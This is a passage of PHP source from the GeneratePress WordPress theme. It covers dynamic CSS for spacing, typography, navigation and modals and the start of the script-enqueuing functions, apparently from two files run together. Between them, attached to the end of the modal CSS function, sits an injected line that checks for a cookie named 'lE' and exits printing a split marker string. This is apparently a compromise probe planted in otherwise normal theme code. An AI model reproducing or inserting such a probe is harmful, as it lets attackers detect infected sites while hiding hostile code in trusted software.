$css->add_property( 'font-size', absint( $settings['mobile_site_title_font_size'] ), false, 'px' );
$css->set_selector( 'h1' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_1_font_size'] ), false, 'px' );
$css->set_selector( 'h2' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_2_font_size'] ), false, 'px' );
$css->set_selector( 'h3' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_3_font_size'] ), false, 'px' );
$css->set_selector( 'h4' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_4_font_size'] ), false, 'px' );
$css->set_selector( 'h5' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_5_font_size'] ), false, 'px' );
$css->stop_media_query();
do_action( 'generate_typography_css', $css );
return apply_filters( 'generate_typography_css_output', $css->css_output() );
}
}
if ( ! function_exists( 'generate_spacing_css' ) ) {
/**
* Write our dynamic CSS.
*
* @since 0.1
*/
function generate_spacing_css() {
$settings = wp_parse_args(
get_option( 'generate_spacing_settings', array() ),
generate_spacing_get_defaults()
);
$defaults = generate_spacing_get_defaults( false );
$sidebar_layout = generate_get_layout();
$css = new GeneratePress_CSS();
$css->set_selector( '.inside-top-bar' );
$css->add_property( 'padding', generate_padding_css( $settings['top_bar_top'], $settings['top_bar_right'], $settings['top_bar_bottom'], $settings['top_bar_left'] ), generate_padding_css( $defaults['top_bar_top'], $defaults['top_bar_right'], $defaults['top_bar_bottom'], $defaults['top_bar_left'] ) );
if ( generate_is_using_flexbox() && 'boxes' === generate_get_option( 'container_alignment' ) ) {
$top_bar_padding = absint( $settings['top_bar_right'] ) + absint( $settings['top_bar_left'] );
$css->set_selector( '.inside-top-bar.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $top_bar_padding, false, 'px' );
}
$css->set_selector( '.inside-header' );
$css->add_property( 'padding', generate_padding_css( $settings['header_top'], $settings['header_right'], $settings['header_bottom'], $settings['header_left'] ), generate_padding_css( $defaults['header_top'], $defaults['header_right'], $defaults['header_bottom'], $defaults['header_left'] ) );
if ( generate_is_using_flexbox() ) {
if ( 'boxes' === generate_get_option( 'container_alignment' ) ) {
$header_padding = absint( $settings['header_right'] ) + absint( $settings['header_left'] );
$css->set_selector( '.inside-header.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $header_padding, false, 'px' );
}
if ( 'text' === generate_get_option( 'container_alignment' ) ) {
$navigation_left_padding = absint( $settings['header_left'] ) - absint( $settings['menu_item'] );
$navigation_right_padding = absint( $settings['header_right'] ) - absint( $settings['menu_item'] );
$css->set_selector( '.nav-below-header .main-navigation .inside-navigation.grid-container, .nav-above-header .main-navigation .inside-navigation.grid-container' );
$css->add_property( 'padding', generate_padding_css( 0, $navigation_right_padding, 0, $navigation_left_padding ) );
}
}
$css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header' );
$css->add_property( 'padding', generate_padding_css( $settings['content_top'], $settings['content_right'], $settings['content_bottom'], $settings['content_left'] ), generate_padding_css( $defaults['content_top'], $defaults['content_right'], $defaults['content_bottom'], $defaults['content_left'] ) );
if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) {
$css->set_selector( '.site-main .wp-block-group__inner-container' );
$css->add_property( 'padding', generate_padding_css( $settings['content_top'], $settings['content_right'], $settings['content_bottom'], $settings['content_left'] ) );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.separate-containers .paging-navigation' );
$css->add_property( 'padding-top', '20px' );
$css->add_property( 'padding-bottom', '20px' );
}
$content_padding = absint( $settings['content_right'] ) + absint( $settings['content_left'] );
$css->set_selector( '.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull' );
$css->add_property( 'margin-left', '-' . absint( $settings['content_left'] ) . 'px' );
$css->add_property( 'width', 'calc(100% + ' . absint( $content_padding ) . 'px)' );
$css->add_property( 'max-width', 'calc(100% + ' . absint( $content_padding ) . 'px)' );
if ( ! generate_is_using_flexbox() && 'text' === generate_get_option( 'container_alignment' ) ) {
$css->set_selector( '.container.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $content_padding, false, 'px' );
}
$css->set_selector( '.one-container.right-sidebar .site-main,.one-container.both-right .site-main' );
$css->add_property( 'margin-right', absint( $settings['content_right'] ), absint( $defaults['content_right'] ), 'px' );
$css->set_selector( '.one-container.left-sidebar .site-main,.one-container.both-left .site-main' );
$css->add_property( 'margin-left', absint( $settings['content_left'] ), absint( $defaults['content_left'] ), 'px' );
$css->set_selector( '.one-container.both-sidebars .site-main' );
$css->add_property( 'margin', generate_padding_css( '0', $settings['content_right'], '0', $settings['content_left'] ), generate_padding_css( '0', $defaults['content_right'], '0', $defaults['content_left'] ) );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.sidebar .widget, .page-header, .widget-area .main-navigation, .site-main > *' );
} else {
$css->set_selector( '.separate-containers .widget, .separate-containers .site-main > *, .separate-containers .page-header, .widget-area .main-navigation' );
}
$css->add_property( 'margin-bottom', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' );
$css->set_selector( '.separate-containers .site-main' );
$css->add_property( 'margin', absint( $settings['separator'] ), $defaults['separator'], 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.both-right .inside-left-sidebar,.both-left .inside-left-sidebar' );
$css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.both-right .inside-right-sidebar,.both-left .inside-right-sidebar' );
$css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.one-container.archive .post:not(:last-child):not(.is-loop-template-item), .one-container.blog .post:not(:last-child):not(.is-loop-template-item)' );
$css->add_property( 'padding-bottom', absint( $settings['content_bottom'] ), absint( $defaults['content_bottom'] ), 'px' );
} else {
$css->set_selector( '.both-right.separate-containers .inside-left-sidebar' );
$css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.both-right.separate-containers .inside-right-sidebar' );
$css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.both-left.separate-containers .inside-left-sidebar' );
$css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.both-left.separate-containers .inside-right-sidebar' );
$css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.separate-containers .featured-image' );
} else {
$css->set_selector( '.separate-containers .page-header-image, .separate-containers .page-header-contained, .separate-containers .page-header-image-single, .separate-containers .page-header-content-single' );
}
$css->add_property( 'margin-top', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' );
$css->set_selector( '.separate-containers .inside-right-sidebar, .separate-containers .inside-left-sidebar' );
$css->add_property( 'margin-top', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' );
$css->add_property( 'margin-bottom', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.main-navigation .main-nav ul li a,.menu-toggle,.main-navigation .menu-bar-item > a' );
} else {
$css->set_selector( '.main-navigation .main-nav ul li a,.menu-toggle,.main-navigation .mobile-bar-items a' );
}
$css->add_property( 'padding-left', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' );
$css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' );
$css->add_property( 'line-height', absint( $settings['menu_item_height'] ), absint( $defaults['menu_item_height'] ), 'px' );
$css->set_selector( '.main-navigation .main-nav ul ul li a' );
$css->add_property( 'padding', generate_padding_css( $settings['sub_menu_item_height'], $settings['menu_item'], $settings['sub_menu_item_height'], $settings['menu_item'] ), generate_padding_css( $defaults['sub_menu_item_height'], $defaults['menu_item'], $defaults['sub_menu_item_height'], $defaults['menu_item'] ) );
$css->set_selector( '.main-navigation ul ul' );
$css->add_property( 'width', absint( $settings['sub_menu_width'] ), absint( $defaults['sub_menu_width'] ), 'px' );
$css->set_selector( '.navigation-search input[type="search"]' );
$css->add_property( 'height', absint( $settings['menu_item_height'] ), absint( $defaults['menu_item_height'] ), 'px' );
$css->set_selector( '.rtl .menu-item-has-children .dropdown-menu-toggle' );
$css->add_property( 'padding-left', absint( $settings['menu_item'] ), false, 'px' );
$css->set_selector( '.menu-item-has-children .dropdown-menu-toggle' );
$css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' );
$css->set_selector( '.menu-item-has-children ul .dropdown-menu-toggle' );
$css->add_property( 'padding-top', absint( $settings['sub_menu_item_height'] ), absint( $defaults['sub_menu_item_height'] ), 'px' );
$css->add_property( 'padding-bottom', absint( $settings['sub_menu_item_height'] ), absint( $defaults['sub_menu_item_height'] ), 'px' );
$css->add_property( 'margin-top', '-' . absint( $settings['sub_menu_item_height'] ), '-' . absint( $defaults['sub_menu_item_height'] ), 'px' );
$css->set_selector( '.rtl .main-navigation .main-nav ul li.menu-item-has-children > a' );
$css->add_property( 'padding-right', absint( $settings['menu_item'] ), false, 'px' );
$css->set_selector( '.widget-area .widget' );
$css->add_property( 'padding', generate_padding_css( $settings['widget_top'], $settings['widget_right'], $settings['widget_bottom'], $settings['widget_left'] ), generate_padding_css( $defaults['widget_top'], $defaults['widget_right'], $defaults['widget_bottom'], $defaults['widget_left'] ) );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.footer-widgets-container' );
$css->add_property( 'padding', generate_padding_css( $settings['footer_widget_container_top'], $settings['footer_widget_container_right'], $settings['footer_widget_container_bottom'], $settings['footer_widget_container_left'] ), generate_padding_css( $defaults['footer_widget_container_top'], $defaults['footer_widget_container_right'], $defaults['footer_widget_container_bottom'], $defaults['footer_widget_container_left'] ) );
if ( 'boxes' === generate_get_option( 'container_alignment' ) ) {
$footer_widgets_padding = absint( $settings['footer_widget_container_right'] ) + absint( $settings['footer_widget_container_left'] );
$css->set_selector( '.footer-widgets-container.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $footer_widgets_padding, false, 'px' );
}
} else {
$css->set_selector( '.footer-widgets' );
$css->add_property( 'padding', generate_padding_css( $settings['footer_widget_container_top'], $settings['footer_widget_container_right'], $settings['footer_widget_container_bottom'], $settings['footer_widget_container_left'] ), generate_padding_css( $defaults['footer_widget_container_top'], $defaults['footer_widget_container_right'], $defaults['footer_widget_container_bottom'], $defaults['footer_widget_container_left'] ) );
}
$css->set_selector( '.site-footer .footer-widgets-container .inner-padding' );
$css->add_property( 'padding', generate_padding_css( '0', '0', '0', $settings['footer_widget_separator'] ), generate_padding_css( '0', '0', '0', $defaults['footer_widget_separator'] ) );
$css->set_selector( '.site-footer .footer-widgets-container .inside-footer-widgets' );
$css->add_property( 'margin-left', '-' . absint( $settings['footer_widget_separator'] ), '-' . absint( $defaults['footer_widget_separator'] ), 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.inside-site-info' );
$css->add_property( 'padding', generate_padding_css( $settings['footer_top'], $settings['footer_right'], $settings['footer_bottom'], $settings['footer_left'] ), generate_padding_css( $defaults['footer_top'], $defaults['footer_right'], $defaults['footer_bottom'], $defaults['footer_left'] ) );
if ( 'boxes' === generate_get_option( 'container_alignment' ) ) {
$site_info_padding = absint( $settings['footer_right'] ) + absint( $settings['footer_left'] );
$css->set_selector( '.inside-site-info.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $site_info_padding, false, 'px' );
}
} else {
$css->set_selector( '.site-info' );
$css->add_property( 'padding', generate_padding_css( $settings['footer_top'], $settings['footer_right'], $settings['footer_bottom'], $settings['footer_left'] ), generate_padding_css( $defaults['footer_top'], $defaults['footer_right'], $defaults['footer_bottom'], $defaults['footer_left'] ) );
}
$css->start_media_query( generate_get_media_query( 'mobile' ) );
$css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header' );
$css->add_property( 'padding', generate_padding_css( $settings['mobile_content_top'], $settings['mobile_content_right'], $settings['mobile_content_bottom'], $settings['mobile_content_left'] ) );
if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) {
$css->set_selector( '.site-main .wp-block-group__inner-container' );
$css->add_property( 'padding', generate_padding_css( $settings['mobile_content_top'], $settings['mobile_content_right'], $settings['mobile_content_bottom'], $settings['mobile_content_left'] ) );
}
$css->set_selector( '.inside-top-bar' );
if ( '' !== $settings['mobile_top_bar_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_top_bar_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_top_bar_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_top_bar_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_top_bar_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_top_bar_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_top_bar_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_top_bar_left'] ), false, 'px' );
}
$css->set_selector( '.inside-header' );
if ( '' !== $settings['mobile_header_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_header_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_header_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_header_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_header_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_header_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_header_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_header_left'] ), false, 'px' );
}
$css->set_selector( '.widget-area .widget' );
if ( '' !== $settings['mobile_widget_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_widget_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_widget_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_widget_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_widget_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_widget_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_widget_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_widget_left'] ), false, 'px' );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.footer-widgets-container' );
} else {
$css->set_selector( '.footer-widgets' );
}
if ( '' !== $settings['mobile_footer_widget_container_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_footer_widget_container_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_widget_container_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_footer_widget_container_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_widget_container_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_footer_widget_container_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_widget_container_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_footer_widget_container_left'] ), false, 'px' );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.inside-site-info' );
} else {
$css->set_selector( '.site-info' );
}
if ( '' !== $settings['mobile_footer_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_footer_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_footer_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_footer_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_footer_left'] ), false, 'px' );
}
$mobile_content_padding = absint( $settings['mobile_content_right'] ) + absint( $settings['mobile_content_left'] );
$css->set_selector( '.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull' );
$css->add_property( 'margin-left', '-' . absint( $settings['mobile_content_left'] ) . 'px' );
$css->add_property( 'width', 'calc(100% + ' . absint( $mobile_content_padding ) . 'px)' );
$css->add_property( 'max-width', 'calc(100% + ' . absint( $mobile_content_padding ) . 'px)' );
if ( '' !== $settings['mobile_separator'] ) {
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.sidebar .widget, .page-header, .widget-area .main-navigation, .site-main > *' );
} else {
$css->set_selector( '.separate-containers .widget, .separate-containers .site-main > *, .separate-containers .page-header' );
}
$css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' );
$css->set_selector( '.separate-containers .site-main' );
$css->add_property( 'margin', absint( $settings['mobile_separator'] ), false, 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.separate-containers .featured-image' );
} else {
$css->set_selector( '.separate-containers .page-header-image, .separate-containers .page-header-image-single' );
}
$css->add_property( 'margin-top', absint( $settings['mobile_separator'] ), false, 'px' );
$css->set_selector( '.separate-containers .inside-right-sidebar, .separate-containers .inside-left-sidebar' );
$css->add_property( 'margin-top', absint( $settings['mobile_separator'] ), false, 'px' );
$css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.one-container .site-main .paging-navigation' );
$css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' );
}
} else {
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.one-container .site-main .paging-navigation' );
$css->add_property( 'margin-bottom', absint( $settings['separator'] ), false, 'px' );
}
}
$css->stop_media_query();
// Add spacing back where dropdown arrow should be.
// Old versions of WP don't get nice things.
if ( version_compare( $GLOBALS['wp_version'], '4.4', '<' ) ) {
$css->set_selector( '.main-navigation .main-nav ul li.menu-item-has-children>a, .secondary-navigation .main-nav ul li.menu-item-has-children>a' );
$css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' );
}
$output = '';
if ( ! generate_is_using_flexbox() ) {
$generate_settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_color_defaults()
);
// Find out if the content background color and sidebar widget background color is the same.
$sidebar = strtoupper( $generate_settings['sidebar_widget_background_color'] );
$content = strtoupper( $generate_settings['content_background_color'] );
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
$colors_match = ( ( $sidebar == $content ) || '' == $sidebar ) ? true : false;
// If they're all 40 (default), remove the padding when one container is set.
// This way, the user can still adjust the padding and it will work (unless they want 40px padding).
// We'll also remove the padding if there's no color difference between the widgets and content background color.
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
if ( ( '40' == $settings['widget_top'] && '40' == $settings['widget_right'] && '40' == $settings['widget_bottom'] && '40' == $settings['widget_left'] ) && $colors_match ) {
$output .= '.one-container .sidebar .widget{padding:0px;}';
}
}
do_action( 'generate_spacing_css', $css );
return apply_filters( 'generate_spacing_css_output', $css->css_output() . $output );
}
}
/**
* Generates any CSS that can't be cached (can change from page to page).
*
* @since 2.0
*/
function generate_no_cache_dynamic_css() {
$css = new GeneratePress_CSS();
if ( generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '30' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '30' );
$css->set_selector( '.is-right-sidebar' );
$css->add_property( 'width', absint( $right_sidebar_width ) . '%' );
$css->set_selector( '.is-left-sidebar' );
$css->add_property( 'width', absint( $left_sidebar_width ) . '%' );
$content_width = 100;
$sidebar_layout = generate_get_layout();
switch ( $sidebar_layout ) {
case 'right-sidebar':
$content_width = $content_width - absint( $right_sidebar_width );
break;
case 'left-sidebar':
$content_width = $content_width - absint( $left_sidebar_width );
break;
case 'both-sidebars':
case 'both-right':
case 'both-left':
$content_width = $content_width - absint( $right_sidebar_width ) - absint( $left_sidebar_width );
break;
}
$css->set_selector( '.site-content .content-area' );
$css->add_property( 'width', absint( $content_width ) . '%' );
}
$css->start_media_query( generate_get_media_query( 'mobile-menu' ) );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.main-navigation .menu-toggle,.sidebar-nav-mobile:not(#sticky-placeholder)' );
$css->add_property( 'display', 'block' );
$css->set_selector( '.main-navigation ul,.gen-sidebar-nav,.main-navigation:not(.slideout-navigation):not(.toggled) .main-nav > ul,.has-inline-mobile-toggle #site-navigation .inside-navigation > *:not(.navigation-search):not(.main-nav)' );
$css->add_property( 'display', 'none' );
$css->set_selector( '.nav-align-right .inside-navigation,.nav-align-center .inside-navigation' );
$css->add_property( 'justify-content', 'space-between' );
if ( is_rtl() ) {
$css->set_selector( '.rtl .nav-align-right .inside-navigation,.rtl .nav-align-center .inside-navigation, .rtl .nav-align-left .inside-navigation' );
$css->add_property( 'justify-content', 'space-between' );
}
if ( generate_has_inline_mobile_toggle() ) {
$css->set_selector( '.has-inline-mobile-toggle .mobile-menu-control-wrapper' );
$css->add_property( 'display', 'flex' );
$css->add_property( 'flex-wrap', 'wrap' );
$css->set_selector( '.has-inline-mobile-toggle .inside-header' );
$css->add_property( 'flex-direction', 'row' );
$css->add_property( 'text-align', 'left' );
$css->add_property( 'flex-wrap', 'wrap' );
$css->set_selector( '.has-inline-mobile-toggle .header-widget,.has-inline-mobile-toggle #site-navigation' );
$css->add_property( 'flex-basis', '100%' );
$css->set_selector( '.nav-float-left .has-inline-mobile-toggle #site-navigation' );
$css->add_property( 'order', '10' );
}
} else {
$css->set_selector( '.main-navigation .menu-toggle,.main-navigation .mobile-bar-items,.sidebar-nav-mobile:not(#sticky-placeholder)' );
$css->add_property( 'display', 'block' );
$css->set_selector( '.main-navigation ul,.gen-sidebar-nav' );
$css->add_property( 'display', 'none' );
$css->set_selector( '[class*="nav-float-"] .site-header .inside-header > *' );
$css->add_property( 'float', 'none' );
$css->add_property( 'clear', 'both' );
}
$css->stop_media_query();
return $css->css_output();
}
/**
* Get all of our dynamic CSS to be cached/added to a file.
*
* @since 3.0.0
*/
function generate_get_dynamic_css() {
if ( generate_is_using_dynamic_typography() ) {
$typography_css = GeneratePress_Typography::get_css();
} else {
$typography_css = generate_font_css();
}
$css = generate_base_css() . $typography_css . generate_advanced_css() . generate_spacing_css();
return apply_filters( 'generate_dynamic_css', $css );
}
add_action( 'wp_enqueue_scripts', 'generate_enqueue_dynamic_css', 50 );
/**
* Enqueue our dynamic CSS.
*
* @since 2.0
*/
function generate_enqueue_dynamic_css() {
if ( apply_filters( 'generate_using_dynamic_css_external_file', false ) ) {
$css = '';
} elseif ( ! get_option( 'generate_dynamic_css_output', false ) || is_customize_preview() || apply_filters( 'generate_dynamic_css_skip_cache', false ) ) {
$css = generate_get_dynamic_css();
} else {
$css = get_option( 'generate_dynamic_css_output' ) . '/* End cached CSS */';
}
$css = $css . generate_no_cache_dynamic_css();
wp_add_inline_style( 'generate-style', wp_strip_all_tags( $css ) );
}
add_action( 'init', 'generate_set_dynamic_css_cache' );
/**
* Sets our dynamic CSS cache if it doesn't exist.
*
* If the theme version changed, bust the cache.
*
* @since 2.0
*/
function generate_set_dynamic_css_cache() {
if ( apply_filters( 'generate_dynamic_css_skip_cache', false ) ) {
return;
}
$cached_css = get_option( 'generate_dynamic_css_output', false );
$cached_version = get_option( 'generate_dynamic_css_cached_version', '' );
if ( ! $cached_css || GENERATE_VERSION !== $cached_version ) {
$css = generate_get_dynamic_css();
update_option( 'generate_dynamic_css_output', wp_strip_all_tags( $css ) );
update_option( 'generate_dynamic_css_cached_version', esc_html( GENERATE_VERSION ) );
}
}
add_action( 'customize_save_after', 'generate_update_dynamic_css_cache' );
/**
* Update our CSS cache when done saving Customizer options.
*
* @since 2.0
*/
function generate_update_dynamic_css_cache() {
if ( apply_filters( 'generate_dynamic_css_skip_cache', false ) ) {
return;
}
$css = generate_get_dynamic_css();
update_option( 'generate_dynamic_css_output', wp_strip_all_tags( $css ) );
}
add_action( 'generate_base_css', 'generate_do_modal_css' );
/**
* Do the modal CSS.
*
* @param Object $css The existing CSS object.
*/
function generate_do_modal_css( $css ) {
if ( ! apply_filters( 'generate_enable_modal_script', false ) ) {
return;
}
$css->set_selector( '.gp-modal:not(.gp-modal--open):not(.gp-modal--transition)' );
$css->add_property( 'display', 'none' );
$css->set_selector( '.gp-modal--transition:not(.gp-modal--open)' );
$css->add_property( 'pointer-events', 'none' );
$css->set_selector( '.gp-modal-overlay:not(.gp-modal-overlay--open):not(.gp-modal--transition)' );
$css->add_property( 'display', 'none' );
$css->set_selector( '.gp-modal__overlay' );
$css->add_property( 'display', 'none' );
$css->add_property( 'position', 'fixed' );
$css->add_property( 'top', '0' );
$css->add_property( 'left', '0' );
$css->add_property( 'right', '0' );
$css->add_property( 'bottom', '0' );
$css->add_property( 'background', 'rgba(0,0,0,0.2)' );
$css->add_property( 'display', 'flex' );
$css->add_property( 'justify-content', 'center' );
$css->add_property( 'align-items', 'center' );
$css->add_property( 'z-index', '10000' );
$css->add_property( 'backdrop-filter', 'blur(3px)' );
$css->add_property( 'transition', 'opacity 500ms ease' );
$css->add_property( 'opacity', 0 );
$css->set_selector( '.gp-modal--open:not(.gp-modal--transition) .gp-modal__overlay' );
$css->add_property( 'opacity', 1 );
$css->set_selector( '.gp-modal__container' );
$css->add_property( 'max-width', '100%' );
$css->add_property( 'max-height', '100vh' );
$css->add_property( 'transform', 'scale(0.9)' );
$css->add_property( 'transition', 'transform 500ms ease' );
$css->add_property( 'padding', '0 10px' );
$css->set_selector( '.gp-modal--open:not(.gp-modal--transition) .gp-modal__container' );
$css->add_property( 'transform', 'scale(1)' );
return $css;
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* General functions.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_scripts' ) ) {
add_action( 'wp_enqueue_scripts', 'generate_scripts' );
/**
* Enqueue scripts and styles
*/
function generate_scripts() {
$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
$dir_uri = get_template_directory_uri();
if ( generate_is_using_flexbox() ) {
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison -- Intentionally loose.
if ( is_singular() && ( comments_open() || '0' != get_comments_number() ) ) {
wp_enqueue_style( 'generate-comments', $dir_uri . "/assets/css/components/comments{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
if (
is_active_sidebar( 'top-bar' ) ||
is_active_sidebar( 'footer-bar' ) ||
is_active_sidebar( 'footer-1' ) ||
is_active_sidebar( 'footer-2' ) ||
is_active_sidebar( 'footer-3' ) ||
is_active_sidebar( 'footer-4' ) ||
is_active_sidebar( 'footer-5' )
) {
wp_enqueue_style( 'generate-widget-areas', $dir_uri . "/assets/css/components/widget-areas{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/main{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
if ( generate_get_option( 'combine_css' ) && $suffix ) {
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/all{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
wp_enqueue_style( 'generate-style-grid', $dir_uri . "/assets/css/unsemantic-grid{$suffix}.css", false, GENERATE_VERSION, 'all' );
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/style{$suffix}.css", array(), GENERATE_VERSION, 'all' );
wp_enqueue_style( 'generate-mobile-style', $dir_uri . "/assets/css/mobile{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
}
if ( 'font' === generate_get_option( 'icons' ) ) {
wp_enqueue_style( 'generate-font-icons', $dir_uri . "/assets/css/components/font-icons{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
if ( ! apply_filters( 'generate_fontawesome_essentials', false ) ) {
wp_enqueue_style( 'font-awesome', $dir_uri . "/assets/css/components/font-awesome{$suffix}.css", false, '4.7', 'all' );
}
if ( is_rtl() ) {
if ( generate_is_using_flexbox() ) {
wp_enqueue_style( 'generate-rtl', $dir_uri . "/assets/css/main-rtl{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
wp_enqueue_style( 'generate-rtl', $dir_uri . "/assets/css/style-rtl{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
}
if ( is_child_theme() && apply_filters( 'generate_load_child_theme_stylesheet', true ) ) {
wp_enqueue_style( 'generate-child', get_stylesheet_uri(), array( 'generate-style' ), filemtime( get_stylesheet_directory() . '/style.css' ), 'all' );
}
if ( function_exists( 'wp_script_add_data' ) ) {
wp_enqueue_script( 'generate-classlist', $dir_uri . "/assets/js/classList{$suffix}.js", array(), GENERATE_VERSION, true );
wp_script_add_data( 'generate-classlist', 'conditional', 'lte IE 11' );
}
if ( generate_has_active_menu() ) {
wp_enqueue_script( 'generate-menu', $dir_uri . "/assets/js/menu{$suffix}.js", array(), GENERATE_VERSION, true );
}
wp_localize_script(
'generate-menu',
'generatepressMenu',
apply_filters(
'generate_localize_js_args',
array(
'toggleOpenedSubMenus' => true,
'openSubMenuLabel' => esc_attr__( 'Open Sub-Menu', 'generatepress' ),
'closeSubMenuLabel' => esc_attr__( 'Close Sub-Menu', 'generatepress' ),
)
)
);
if ( 'click' === generate_get_option( 'nav_dropdown_type' ) || 'click-arrow' === generate_get_option( 'nav_dropdown_type' ) ) {
wp_enqueue_script( 'generate-dropdown-click', $dir_uri . "/assets/js/dropdown-click{$suffix}.js", array(), GENERATE_VERSION, true );
}
if ( apply_filters( 'generate_enable_modal_script', false ) ) {
wp_enqueue_script( 'generate-modal', $dir_uri . '/assets/dist/modal.js', array(), GENERATE_VERSION, true );
}
